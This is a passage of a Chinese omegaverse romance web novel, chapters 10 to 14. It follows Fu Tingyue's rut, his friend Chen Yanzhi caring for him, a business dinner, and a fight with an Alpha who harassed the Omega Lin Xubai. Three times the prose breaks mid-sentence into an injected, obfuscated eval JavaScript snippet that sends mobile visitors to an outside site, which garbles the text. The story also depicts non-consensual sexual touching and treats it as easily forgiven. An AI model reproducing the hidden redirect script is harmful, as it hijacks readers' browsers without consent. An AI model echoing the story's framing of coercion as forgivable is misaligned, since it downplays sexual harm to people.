傅亭樾目光迷离地抚摸他的脸,声音充满了情..欲,“陈砚知,陈砚知……” 陈砚知双手被抓着,只能用脚去踢傅亭樾,但下一刻傅亭樾将他的腿压住不让他乱动,灼热的大手一路向下。 陈砚知被奇怪的触感弄得一愣,他惊愕地低头看了一眼,忍不住骂了句脏话:“你他妈的真疯了,我是陈砚知,不是你老婆,你在干嘛?” 傅亭樾笑着说:“让你舒服,知知,你看起来很难受。” 陈砚知闭上眼睛装死,都怪刚刚傅亭樾总在他身上蹭,好不容易冷静下来的,又给他搞起来了。 真无语。 他虽然看着无法无天,但是个实打实的感情小白,平时在家自己都很少上手,没想到却让傅亭樾给抓着来了个好兄弟间的亲密接触。 最主要的是他俩差距悬殊,陈砚知又羞又气,脸连着脖颈红了一大片。 他闭着眼睛剧烈喘息着,声音发紧:“傅亭樾,等你醒过来我一定杀了你,你这个畜生。” 傅亭樾低头靠近,本来是想吻他的,但因为止咬器阻隔,最后只能贴着陈砚知的鼻尖喘息。 原来之前傅亭樾让他离开是因为这个,陈砚知后悔了,他应该狠心地把傅亭樾锁在房间里别管他的。 起初他以为弄了一次傅亭樾就能醒过来,但他低估了易感期,也低估了SS级Alpha. 看着那点儿清水,陈砚知的声音沙哑还带着一丝很淡的哭腔:“疼,真的没有了,别再弄我了。” 傅亭樾抓着抓着他的手让他帮自己,陈砚知早就困得不行了,随便傅亭樾拉着他的手弄,两眼一闭心大地睡了过去。 明天再找傅亭樾算账,可怜他的小鸟被虐待成那样儿,估计都破皮了。 傅亭樾这个畜生! 11. 第11章 阳光从窗帘的缝隙中透进来,不偏不倚正好落在陈砚知的脸上。 漂亮的人儿窝在松软的被褥间,头发睡得乱糟糟的,整个人呈大字型占据了整张床,许是因为太热,他白皙的皮肤浮现一层健康的淡粉,嘴唇水润有光泽,一看就很好亲。 窗外突然传来一阵响动,惊到床上的人儿,他皱起眉头哼唧一声,转身把脸埋进被子里小猫似的左右蹭了蹭,脚还不满地往被子上踢了两下。 但外面的动静没停,吵得陈砚知不得安生。 他烦躁地往被子里钻了一会儿,脑海中突然闪过傅亭樾压着他,燥热的指尖抚摸他颈侧的皮肤,伏在他耳边不停喊着他的名字,还有…… 我操! 陈砚知触电般从床上弹起来,惊恐地看着四周。 这儿不是傅亭樾的房间,他什么时候来的? 陈砚知懵了一会儿,想起傅亭樾那个畜生,他顾不上那么多,鞋都来不及穿就气势汹汹地去敲傅亭樾的卧室门。 敲了半天没人应,陈砚知刚准备回去从自己的卧室翻过去,身后突然传来佣人的声音:“大少爷去公司了,他吩咐给您做了早餐,您现在吃还是等会儿吃?” 陈砚知停下敲门的动作,拧着眉头问:“去公司?” 傅亭樾不是易感期吗,去公司做什么,他昨晚在网上看了,Alpha的易感期一般要五天左右才能结束,这才第二天呢。 佣人恭敬道:“是的,大少爷说他要晚上才回来,让我们监督陈少好好吃饭。” 陈砚知合理怀疑傅亭樾是怕被揍躲着他,他当即给傅亭樾打了个电话,但没人接。 这下陈砚知更加确定自己的猜测没错。 陈砚知有点生气,但一想到傅亭樾易感期还没过去就得上班,他又有点心疼。 他当即又给傅亭樾打了两个电话,这下总算接通,陈砚知开门见山地问:“躲我是吧?” 傅亭樾沙哑的声音从手机里传来,“没……” 陈砚知懒得听他狡辩,直接放狠话:“傅亭樾,你要是不躲我乖乖认错我可能还下手轻点儿,这下我真生气了,晚上回来我揍死你,你易感期过去了吗就往公司跑。” 明知道Alpha易感期外出危险还要出去,一点也不在乎自己的身体。 虽然陈砚知不知道易感期是怎么个难受法儿,但照傅亭樾昨晚那个架势,肯定不好受。 可他竟然为了躲他跑去公司,陈砚知就更生气了。 当然,担心更多一点,但陈砚知不想承认。 傅亭樾声音很低地回答:“我已经没事了,早上出门前打了抑制剂。” 陈砚知下达最后通牒:“我来公司逮你还是你自己回来,选吧。” “我还有工作……” “什么工作得生着病去处理?傅亭樾我告诉你,你想死也不用这么折腾,明明难受得要死还逞什么强,算了,既然你都不在乎自己的身体,我也懒得管。” 陈砚知说完直接挂了电话,顺手把傅亭樾送进黑名单,看了一眼时间,在心里估算傅亭樾大概什么时候回来。 虽然没去过傅亭樾的公司,但根据陈砚知这几天的推算,傅亭樾回来大概需要十五分钟左右,这个点不堵车,估计他洗漱完下楼傅亭樾就能回来。 保姆在一旁战战兢兢,直到陈砚知吩咐她准备两人份的早餐她才如蒙大赦,忙不迭下楼。 傅亭樾了解陈砚知,陈砚知同样了解他。 这不,陈砚知刚洗漱完下楼傅亭樾就回来了,他穿了一身黑色西装,头发打理得一丝不苟,但脸上还戴着止咬器,眉头紧紧皱着,整个人看起来特别不舒服。 陈砚知双手环胸靠在柱子边,左脚脚尖随意点地,面无表情地看着把外套递给佣人的傅亭樾。 傅亭樾耷拉着眼皮叹了口气,走到陈砚知面前低头问:“我回来了,要现在揍我吗?” 陈砚知翻了个白眼,嘁了一声没搭理傅亭樾,转身走到餐桌边坐下。 他决定要给傅亭樾一点颜色尝尝,否则下次他还是会不把自己的身体当回事儿。 某人似乎忘了他昨晚放言要杀了傅亭樾,满脑子都是担心傅亭樾身体出问题。 傅亭樾看着陈砚知的背影,叹了口气跟在他身后走到餐桌边坐下,自顾自摘了止咬器陪陈砚知吃早餐。 陈砚知跟他说了第一句话:“你怎么知道密码的?” 傅亭樾说:“猜的。” 陈砚知记性不好,所有密码都是同一个,不难猜到。 “那你还挺厉害。”陈砚知冷笑一声,慢条斯理地吃着早餐。 吃完早餐两人就上了楼,保姆给傅亭樾的母亲打了个电话,告知她傅亭樾易感期的事儿。 电话里传来傅夫人不耐烦的声音:“他都已经二十多岁了,来易感期有什么奇怪的,这种小事不用向我汇报,他和那个来路不明的Beta现在怎么样了?” 保姆四下看了看,确认没人后才低声询问:“他们似乎吵架了,大少爷回来后陈少爷没跟他说过话,太太,要借此机会让陈少爷离开大少爷吗?” 傅太太说:“不用,他和那个Beta在一起更好,到时候公司懂事肯定会用这件事来压傅亭樾,柏予的机会就更大。” 保姆恭敬道:“好的太太。” 对于这段没什么营养的谈话陈砚知和傅亭樾都不知道,两人这会儿待在同一个房间里,但气氛有些压抑。 傅亭樾又将止咬器给戴上,他眼眸低垂,冰冷的冷光折射在他脸上,衬得他像委屈的大狗狗。 “知知,你要怎么出气都可以,但医生说你不能生闷气,对身体不好。” 陈砚知背过身不看傅亭樾,低头玩小游戏,“我没生气啊,谁生气了。” 他才懒得生气,难受的人又不是他。 傅亭樾充满自责的声音从他背后响起:“对不起,我昨晚脑子不清醒。” 今天早上清醒过来他就后悔了,后悔自己没有强硬一点让陈砚知离开,他太贪心了,想让陈砚知照顾他,却又没忍住对他做了那种事,最后还像个胆小鬼似的躲起来,陈砚知生气也是应该的。 傅亭樾讨厌自己是个Alpha,他不想被信息素控制大脑对陈砚知做那种事。 陈砚知啪的一下把手机摔在沙发上,转过身冷冷地看着傅亭樾,“你觉得我是因为昨晚的事情生气?” 傅亭樾怔愣地看着他,“不是吗?你昨晚说要杀了我。” 不说这个还好,一说陈砚知火气噌的一下上来,他起身朝傅亭樾逼近,“我不该杀了你吗?你他妈把我虐待成什么了,我今天上厕所都还痛。” 他都担心自己的小鸡坏掉,早上嘘嘘的时候痛得要死。 刚刚他光顾着担心傅亭樾,把这事儿忘了。 傅亭樾低着头没看陈砚知,语气带着一丝莫名的可怜,“对不起,是我不好,以后我易感期你别管我,把我关起来我不用管我。” 陈砚知啧了一声:“你威胁我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372466|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是威胁,我怎么可能会威胁你,我只是不想再对你做那种事,信息素控制了我的大脑,我控制不住自己的行为。” 傅亭樾对上陈砚知的眼睛,自厌地说:“知知,来易感期的Alpha就是一头只知道□□的畜生,我也不例外。” 陈砚知闻言,心口像是被针扎了,他生气地拽着傅亭樾的衣领,仰头对他说:“傅亭樾,你他丫的故意说这些让我心疼你是吧?” 他松开傅亭樾的衣领使劲推了他一下,没推动,陈砚知气得两只手一起推。 傅亭樾往后踉跄一步:“不是,我只是想让你以后都别管我,把我关起来让我一个人待着。” 他要是能做到,他就不是陈砚知了。 但陈砚知又很生气,他也不知道自己在气什么,最后索性抓着傅亭樾的胳膊咬了一口,直到尝到血腥味他才松口呸呸呸。 呸完他还一脸嫌弃地看着傅亭樾胳膊上牙印,“Alpha的肉都这么硬吗?” 傅亭樾的手环开始闪烁着红灯报警,眼神也变得跟昨晚一样,但他还有理智。 刚刚陈砚知差点一口把他咬失控,太爽了。 他呼吸急促地问:“能再咬一口吗?” “你不会又要失控了吧?”陈砚知警惕地往后退了一步,目光在房间里搜寻能把傅亭樾绑起来的东西。 傅亭樾闭上眼睛深吸一口气,调整好呼吸后他重新睁开眼睛,“没,刚刚有点控制不住信息素。” 陈砚知哪儿敢再咬,他退到沙发后面隔着沙发跟傅亭樾说:“昨晚的事两清,我不生气了。” 傅亭樾愣愣道:“不讨厌我吗?” 陈砚知无所谓地摆摆手:“下次你再虐待我的小鸡我再讨厌你,这次就算了。” 傅亭樾也是第一次经历易感期,他肯定也很害怕,而且他控制不住自己的行为,不是故意那样的。 在陈砚知心里,傅亭樾只是生病了,要是跟病患计较就太不帅气了。 傅亭樾的信息素不受控制地外溢,手环的红灯一直在闪烁,心跳也不受控制地加快。 谁料陈砚知话锋一转:“不过你这种状态还敢去公司,这事儿没完。” 说完他就发现傅亭樾不对劲,陈砚知感觉有东西压在身上,他重重喘了几口气,难受地问:“你是不是又该打抑制剂了?” 傅亭樾脖颈和手臂上青筋暴起,感觉快要失控,他没敢耽搁,连忙从抽屉里拿出抑制剂推进皮肤里,陌生恐怖的浪潮退却,他大汗淋漓地坐在床边仰着头喘息。 性感又透着一丝脆弱。 陈砚知担忧地上前:“傅亭樾,你还好吗?” 他完全记不住教训,准确来说在他心里傅亭樾很重要,他没办法真的不管他。 傅亭樾扔下空针管,强势地把陈砚知抱进怀里。 陈砚知以为他又失控,刚想挣扎就听到傅亭樾难受地说:“知知不怕,我还清醒着,只是想抱抱你。” 闻言,陈砚知放松下来,任由傅亭樾抱着。 他知道这样傅亭樾能好受些,昨晚他就是这么抱着他的。 但他还是不放心地问:“真的没事吗?” 傅亭樾把脸埋进他的颈窝里,声音闷闷的,“没事,一会儿就好了。” 陈砚知哦了一声,调整了一下姿势跪在傅亭樾面前方便他抱得更舒服,甚至还抬手拍了拍傅亭樾湿透的后背安慰:“没事的傅亭樾,你只是生病了,不要讨厌自己,我在这儿呢。” 12. 第12章 傅亭樾的易感期持续了五天才结束,不过除了刚开始那三天之外,之后的两天他都能保持清醒,只是持续低烧,晚上偶尔得打抑制剂。 期间陈砚知一直贴身照顾,没少被欺负,但他并不在生气,一心只想傅亭樾赶紧好起来。 直到第六天早上傅亭樾的易感期总算彻底结束,陈砚知趴在床上等着傅亭樾量体温,漂亮的大眼睛瞪得圆圆的,带着浓浓的期盼。 傅亭樾把体温计递到他面前:“不烧了。” 陈砚知接过体温计一看,激动得直接跳了起来,“太好了!总算是结束了。” 他躺回床上,表情轻松地看着天花板,嘴角还噙着一抹淡淡的笑。 这几天看着傅亭樾反反复复难受,陈砚知都快讨厌死这个什么易感期了。 傅亭樾伸手把体温计拿过来放好,坐在床边跟陈砚知说:“最近辛苦你了。” 他以为上次的事情过后陈砚知会不想管他了,事实却是陈砚知每天都贴身照顾他,被欺负了也不生气,只是警告他下次不许再这样。 这让傅亭樾产生了一种陈砚知也对他有意思的错觉。 当然只是在信息素冲上大脑那一刻这么觉得,清醒过来他就知道不可能。 陈砚知很迟钝,他压根就感受不到别人对他的心意,或者说他压根就不会把他和傅亭樾的关系往那方面想,目前他只是把傅亭樾当做唯一的朋友,在这个世界齐头并进的战友。 傅亭樾并不心急,他都等了那么多年了,也不在乎这三五个月,只要陈砚知不讨厌他就行,其他的可以慢慢来。 “你没事儿就行。”陈砚知摆摆手,翻过身趴在傅亭樾身旁询问道,“你这什么易感期多久来一次?” 傅亭樾回答道:“三个月。” 陈砚知坐起身,表情严肃道:“三个月一次,这也太频繁了,就不能一年一次吗?” 傅亭樾没忍住揉了揉他的头,表情温柔道:“估计不太能。” 陈砚知忧心忡忡:“下次再来怎么办?” 说真的,看到傅亭樾那么痛苦,他心里不太舒服,也不知道有没有什么一劳永逸的办法能彻底消除易感期。 傅亭樾慢条斯理地整理着袖口,语气的无所谓道:“下次你就别管我了,把我关起来,我能照顾好自己。” 这次易感期来的太突然,加上他没经验确实有点手忙脚乱。 陈砚知小孩儿似的在床上滚了两圈,用被子把自己裹起来只露出一个头,声音闷闷地说:“那怎么行,你失去意识的时候一直在喊我,把你关起来多可怜啊。” 每次傅亭樾喊他他都觉得揪心,在陈砚知的印象中,从小到大傅亭樾都像个大哥哥,几乎都是傅亭樾在照顾他,他鲜少有那样脆弱的时候,陈砚知心里很不是滋味,并且有点讨厌所谓的易感期。 傅亭樾听着陈砚知的嘟囔,表情有些不自在,“下次不会了,这次是因为没经验。” 他也不想的,但失去意识的时候他满脑子都是陈砚知,并且格外想标记他,要不是一直戴着止咬器,陈砚知的脖子估计会被他咬烂。 “又不是有经验你就不难过了。”陈砚知心血来潮,好奇地问傅亭樾,“之前你说找Omega,那样能让你不难受吗?” 傅亭樾眸底的温度瞬间散去,他没什么情绪地问:“你要让我去找别人?” 陈砚知盘腿坐在床上,微微皱着眉头说:“我只是好奇,网上不是都说Omega能帮Alpha缓解易感期么,那你要不要……” “不要。”傅亭樾打断陈砚知的话,拿上外套往外走,“我得去一趟公司,其他事之后再说。” 陈砚知烦躁地扯了扯头发,对着傅亭樾的背影说:“你干嘛又莫名其妙生气,我只是担心你。” “你知道找Omega是什么意思吗?”傅亭樾停下脚步转过身看着陈砚知的眼睛,既生气又无奈,“陈砚知你又偷懒,我给你的书你压根就没看对吧。” 陈砚知心虚了一瞬,立马找到借口,挺直胸膛对傅亭樾说:“那是因为谁啊,还不是为了照顾你没时间看吗?” “那我来告诉你。”傅亭樾把西装外套一扔,阔步走到陈砚知面前。 陈砚知被吓得窜到床尾,满脸警惕地看着傅亭樾面无表情的眼睛,“说就说,你别动手。” 傅亭樾深吸一口气松开紧握的拳头,尽量用温和的语气跟陈砚知说:“你知道Omega要怎么为Alpha缓解易感期吗?” 陈砚知一脸单纯:“怎么做?” 这两天他光顾着担心傅亭樾了,对这事儿还真是一知半解,当然他知道标记是咬腺体,其他的还没来得及了解。 傅亭樾淡淡吐出一个字:“性……” 陈砚知惊讶地张张嘴,还没来得及说话就被傅亭樾质问:“你要让我跟一个从来没见过面,没有任何感情基础的人做那种事?” “我不是那个意思,而且我不知道要那样……” 陈砚知越说越小声,耳朵莫名有点热。 所以之前傅亭樾失去意识的时候总扯他衣服是想那啥? 天老爷,幸好傅亭樾每次失去意识的时间不长,否则以两人的体力悬殊,他压根就反抗不了。 这么想着,陈砚知觉得小鸡痛几天也能接受,至少屁股没痛。 傅亭樾垂眸看着陈砚知,无奈叹了口气:“我不想成为被信息素支配大脑满脑子都是那件事的畜生,也不想做出任何伤害你的事情,更不想跟一个素未谋面的Omega做那种事,下次易感期我会提前离开不让你为难,结束后我会自己回来。” 傅亭樾说完就直接走了,任凭陈砚知怎么喊都没用。 又生气了。 陈砚知的坐在沙发上看着被关上的房门,心情有点郁闷。 他不该那样说的,如果他和傅亭樾身份对换,傅亭樾敢让他去找别人他估计早就动手揍人了。 但他真的只是太担心,而且他不知道要做那事儿才行。 陈砚知以为傅亭樾晚上就会回来,谁料傅亭樾却说这几天工作很多抽不开身,要住在公司。 虽然理由很充分合理,易感期累积的大量工作确实需要处理,但陈砚知直觉傅亭樾是因为他让他去找Omega的事儿生气了,所以在躲着他。 一连好几天傅亭樾都没回家,陈砚知无聊透了。 他给傅亭樾发的消息傅亭樾全都回了,但视频电话没接,每次借口都是在开会,有事要忙。 这不,陈砚知刚拨出去的视频通话被拒了,傅亭樾说晚上有应酬可能会回来很晚,要就近去公寓住,不回来了。 陈砚知直接发消息给傅亭樾:【我也要去。】 傅亭樾秒回:【不方便,酒局免不了喝酒,你身体不好,乖乖在家待着。】 陈砚知回复:【你不带我去我就自己去酒吧玩,我也不回来了,随便你。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372467|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他没开玩笑,他真的要出去玩,他在家待得身上都要长蘑菇了。 傅亭樾很了解陈砚知,自然知道他说的话是认真的,没过一会儿他就让陈砚知在家等着他过来接他。 将近一周再见,傅亭樾看着瘦了一点儿,但精神状态不错,顶级Alpha体力惊人,连续工作一周没死就算了,还神经抖擞。 陈砚知吊儿郎当地走到傅亭樾面前伸手往他结实的肌肉上拍了一下,语气随意道:“你这体质除了易感期的时候磨人,其他时候还挺不错的,抗造。” 傅亭樾见陈砚知没生气,心里暗暗松了口气:“等会儿别喝酒,否则我就不带你去了。” “看我心情。”陈砚知低头看了一眼身上的休闲服,挑眉问道,“要换身正装吗?” 他这几天用傅亭樾的钱买了不少衣服,唯独没买正装,都是些花里胡哨五颜六色有各种小挂饰的上衣和牛仔裤。 傅亭樾不在的期间内,陈砚知还给自己染了个小粉毛,在别墅住了二十来天,陈砚知胖了一点,气色也好多了,原本透着苍白的脸这会儿白里透红,和他的发色相互映衬,衬得他整个人特别漂亮。 傅亭樾将眸底的惊艳尽数藏好,面无表情地说:“不用,不是正式场合,就跟合作商吃个饭,你不喜欢穿正装就穿这个吧。” 他后悔答应陈砚知了,不想让别人看到他,想把他藏起来。 陈砚知笑嘻嘻地撞了撞傅亭樾的肩膀:“不会丢你的面子吗?” 知道是自己做错,陈砚知这几天一直在想要怎么让傅亭樾消气,想来想去没想到什么好办法,只能先让傅亭樾回家,得先接触到人才有机会和好。 不过看样子傅亭樾气已经消了大半了,否则也不会特意来接他。 傅亭樾强忍着捏陈砚知脸的冲动,转过身背对着他说:“不会。” 陈砚知哥俩好地跳起来揽住傅亭樾的脖子,语气轻快:“那咱们走吧。” 傅亭樾个子太高,为了不让陈砚知太辛苦,他整个人弓着腰任由陈砚知勾着他的脖子往外走,宠得没边了。 上车后陈砚知盯着傅亭樾的侧脸看了一会儿,心血来潮:“傅亭樾,咱们算和好了吗?以后我不会再让你去找其他Omega了,既然我帮你也有用,那以后你易感期的时候都让我帮你,怎么样?” 他在网上查过了,不一定要那什么,只要能释放出来就有用。 第一次都是他帮忙的,以后再帮几次也没什么大不了的。 最主要的是他也不放心让不认识的Omega在傅亭樾最脆弱的时候靠近他,之前是他考虑不周。 傅亭樾搭在膝盖上的手倏地收紧,他略微皱着眉头看向陈砚知:“你知道自己在说什么吗?” 陈砚知单手撑着下巴靠在椅背上,一副无所谓的口吻:“知道,但我是Beta只能用手帮你哈,反正都是大老爷们儿又不会掉块肉。” 不过下次得把傅亭樾绑起来,他一点儿也不温柔,陈砚知担心多来几次他的小鸡就彻底废了。 他忧心忡忡地规划着傅亭樾下次易感期要怎么绑才比较稳妥,没注意到傅亭樾眸底翻腾的情绪以及车内越来越浓烈的信息素。 下车时陈砚知身上沾满了傅亭樾信息素的味道,但他一无所知,像只好动的小猫,自然地抓着傅亭樾的手腕和他一起往外走。 挂在裤子上的小配饰随着他的步伐左右晃着,可爱极了。 13. 第13章 应酬是世界上最无聊的事儿,陈砚知随便吃了点东西就无聊开始发呆。 幸好合作商带着他儿子来了,年龄和陈砚知一样大,是个漂亮的Omega. 陈砚知第一次接触Omega,好奇地打量着对面的小男生,心里感叹Omega长得真漂亮,雌雄莫辨的。 不过听合作商的意思应该是想把儿子介绍给傅亭樾,一直在试探着询问陈砚知和傅亭樾的关系。 陈砚知对这些事儿没兴趣,百无聊赖地玩着自己的手指,目光时不时往外看一眼。 想出去玩,但又怕傅亭樾不高兴。 刚想着,耳边就传来傅亭樾温和的声音:“无聊的话可以出去玩,结束后我来找你。” 陈砚知的眼睛瞬间亮了:“可以吗?” 傅亭樾笑着点头:“可以,但要注意安全。” “那我走了,你结束给我发消息就行。” 陈砚知刚起身准备离开,对面的Omega就一脸期盼地问:“我能跟你一起去吗?” 虽然没交流过,但陈砚知能感受到那个Omega也不想在这儿待着。 陈砚知没答应,而是看了傅亭樾一眼,无声询问。 傅亭樾笑着问对面的中年男人:“林总意下如何?” 林向成原本是打算把儿子介绍给傅亭樾,但看这情况估计是没戏了,不过看傅亭樾对那个漂亮Beta的态度,两人关系很不一般,说不定让儿子去跟陈砚知玩熟了也挺好。 “自然可以,正好他们在这儿待着也无聊,同龄人话题更多。”林向成笑着对自家儿子说,“小白,别给陈先生添麻烦。” 漂亮的Omega欣喜地点头:“好的。” 陈砚知跟傅亭樾交换了一个眼神,笑着对林叙白说:“走吧。” 林叙白高高兴兴跟陈砚知一起离开,傅亭樾等人继续聊有关合作的事儿。 陈砚知对这边不太熟,加上方向感不好,他走得晕头转向的。 就在他准备找人问路时,耳畔传来林叙白温柔的声音:“陈先生,往这边走。” 陈砚知看着林叙白熟悉的样子,忍不住问:“你经常来这边?” 林叙白腼腆道:“陪我父亲来过几次。” 陈砚知上了电梯后问林叙白:“那我们去哪儿玩?” 既然他对这儿熟,应该知道有什么好玩的,免得再去问其他人。 漂亮的Omega眨巴着一双大眼睛思索一番后,嘴角勾起一抹明媚的笑:“楼下有个电玩城,还有很多娱乐设施,你想去看看吗?” 陈砚知毫不掩饰眸底的惊艳,他直白地对林叙白说:“你长得真好看。” 这个世界的Omega都这么好看吗? 林叙白愣了一下,反应过来后漂亮的小脸刷的爆红,耳朵连着后脖颈都是红的。 他紧张地攥紧拳头,低着头说:“谢谢,你也长得很帅。” 陈砚知是他见过的最好看的Beta,刚刚他还以为陈砚知也是Omega,但他身上没有任何信息素的味道,也不能这么说,他身上有很浓的傅亭樾的信息素。 想到这儿,林叙白忍不住开口:“陈先生……” 陈砚知摆手打断他的话:“不用这么生疏,我们两个差不多大,先生先生的喊总觉得把我给喊老了,直接叫名字吧。” 他还是个十八岁的孩子呢,被人左一声先生右一声先生的喊,怪不自在的。 林叙白脸颊还是红红的,他满脸期盼地看着陈砚知,“那我可以叫你砚知吗?” 陈砚知笑着拍拍林叙白的肩膀,完全忘了对方是个Omega,“当然可以,那我也不跟你客气了,以后我叫你小白怎么样?” 陈砚知向来秉持能交朋友就不交恶的原则,所以他朋友才那么多,而且林叙白人还不错,温温柔柔的,陈砚知不讨厌他。 林叙白看了一眼搭在自己肩膀上的手,满脸高兴地点头,“好。” 他偷偷看了陈砚知一眼,试探道:“砚知,你和傅总是什么关系啊,方便跟我说吗?” 陈砚知身上的信息素太浓了,不难猜到他和傅亭樾的关系,但林叙白不死心,想听陈砚知亲口跟他说。 他都已经做好准备了,耳边突然传来陈砚知的声音:“好朋友。” 林叙白猛然怔住,音量也不自觉拔高:“好朋友?” 陈砚知走出电梯才回答:“嗯,怎么了?” 林叙白追上陈砚知,中间隔着一小段距离,“你身上全是他信息素的味道,我以为你们是情侣。” 顶级Alpha的信息素太有压迫感了,靠陈砚知太近他有点不舒服。 陈砚知抬手闻了闻,什么味道都没有,“哦,我们住在一起,不小心染上的吧。” 林叙白知道陈砚知没必要撒谎骗他,但如果只是住在一起根本就不可能染上这么重的信息素,唯一的可能就是Alpha故意释放,陈砚知没有察觉到。 陈砚知余光注意到林叙白没跟上来,他停下脚步询问:“有什么问题吗?” 林叙白收起杂乱的思绪,抬头冲陈砚知笑了笑:“没,你想玩什么?” 陈砚知眸底藏着一丝兴奋,他扫视一圈对林叙白说:“先去电玩城吧,好久没去了。” 不知道这边的电玩城和那边的有什么区别。 事实证明没有任何区别,陈砚知一头扎进VR室玩得不亦乐乎,林叙白从小就是被圈养在温室的花朵,对这些东西并不熟悉,刚开始他完全找不到门道,陈砚知耐心十足地教了他一会儿他就能上手了。 不止这个,很多东西林叙白都不会玩儿,陈砚知难得交到新朋友,心情很好地带着林叙白在里面玩了将近两个小时。 玩累了他就和林叙白去隔壁清吧点了杯喝的,顺便给傅亭樾发照片让他结束直接来这儿找他。 因为林叙白是Omega,所以两人单独开了个包厢。 林叙白喝了口面前的橙汁,满脸崇拜地看着陈砚知:“砚知,你怎么什么都会玩,好厉害。” 虽然陈砚知跟他一样大,但他什么都会,各种游戏都玩得很好。 陈砚知笑着说:“这没什么难的,你只是第一次接触而已。” 他也很惊讶林叙白家条件那么好,他居然从小到大没碰过游戏机。 林叙白不好意思地低着头,语气轻松道:“我妈妈不让我玩这些,她说Omega应该学的是做饭整理家务,这样以后结婚才不会被人嫌弃。” 陈砚知关注点奇特:“那你做饭肯定很好吃。” 原本林叙白有点尴尬的,听到陈砚知这么说,他先愣了一下,反应过来后脸上扬起一抹大大的笑容,“有机会让你尝尝我的手艺。” 陈砚知也没跟他客气,笑着说:“好啊,那我下次再带你玩游戏机,我只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372468|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会吃喝玩乐。” 林叙白自然满口答应,一开始他只是想和陈砚知出来透口气,没想到他们那么投缘。 陈砚知看着不好接近,其实内心很善良,刚刚他都没想到陈砚知会用夸他厨艺来安慰他。 林叙白以前一直觉得父母不公平,一心只想让他跟人联姻,但今天他短暂地感谢以前被逼着学做饭的自己。 因为陈砚知说想尝尝他的手艺,也就意味着今天过后他们还能再见面。 林叙白从小没什么朋友,但和陈砚知待在一起他很放松。 陈砚知被林叙白盯得有点不自在,刚想说话缓和气氛,包厢门突然被人推开,身材高大的男生满脸欣喜道:“小白,真的是你,你最近怎么都不理我,我做错什么了吗?” 陈砚知刚想问是不是认识的人就看到林叙白一脸煞白,表情也从刚刚的温柔变得紧张恐惧。 眼见服务员拦不住门口的人,陈砚知果断起身过去。 闻着男生身上浓重的酒味,他皱了皱眉头询问:“你哪位?” 男生一把将服务员推开,满脸戾气:“关你什么事儿,我找小白,你算哪根葱?” 对方个子高大,一看就是个Alpha,他视线越过陈砚知,满脸难过地看着林叙白:“小白,你怎么不接我电话,我找你好几天了,你是不是因为之前的事儿生气了,我不是故意的,当时我易感期脑子不清醒,不是故意那样对你,但我真的很喜欢你,你能不能给我一个机会……” 陈砚知扭头问林叙白:“他是你朋友吗?” 林叙白整个人都在抖,他惊恐地对陈砚知说:“不是,他、他之前一直骚扰我,还借着易感期想对我……” 如果不是他拼尽全力跑走,说不定已经被标记了。 陈砚知闻言,结合Alpha刚刚的话差不多弄清事情的来龙去脉。 他脸色瞬间冷下来,面无表情地对对方说:“不好意思,这儿是我们的包厢,麻烦你出去。” “你他妈算个什么东西……” 男生话音未落,陈砚知抡起拳头就往对方脸上来了一下,把人鼻梁骨都给打断了。 Alpha捂着鼻子蹲在地上,嘴里哀嚎着,很快就引来其他人的注意。 服务员压根没想到陈砚知会突然动手,反应过来后连忙上前拦着陈砚知,生怕他再动手,闻声赶来的其他几个服务员则架着那个Alpha以免他动手。 听着Alpha低俗难听的谩骂,陈砚知慢条斯理地整理了一下衣服,薄唇轻启:“垃圾。” 林叙白看着陈砚知的背影,由原本的害怕转变为心跳加速。 从小到大第一次有人这么护着他,而且对方还是个Beta. Alpha叫骂着说要让陈砚知付出代价,还说要让陈砚知坐穿牢底。 嘴里恶俗地骂着陈砚知和林叙白,造谣林叙白和陈砚知在包厢里做那种事,一句比一句骂得脏,简直不堪入耳。 傅亭樾一来就听到这些话,他不悦地皱起眉头过去,正好看到陈砚知推开服务员冲上去把那个Alpha又揍了一顿,现场瞬间乱成一锅粥。 眼看着服务员们准备上手抱陈砚知的腰,傅亭樾一个大跨步上前拦腰把陈砚知抱起来带离人群,安抚地捏了捏他腰间的软肉,“好了,别打了。” 陈砚知在空中扑腾了两下,低声骂了两句脏话,俨然被气得不轻。 14. 第14章 离开警局已经将近凌晨,那个混蛋Alpha知道傅亭樾的身份后屁都不敢放,乖乖向警方承认了自己的错误,声称是因为喝了酒脑子不管用一时上头,还向陈砚知和林叙白道歉。 陈砚知不接受道歉调解,傅亭樾也懒得跟那种人浪费时间,直接交给律师处理。 林叙白一脸自责地对陈砚知说:“抱歉,我给你添麻烦了。” 陈砚知无所谓地摆摆手:“不麻烦,我还嫌没揍过瘾呢。” 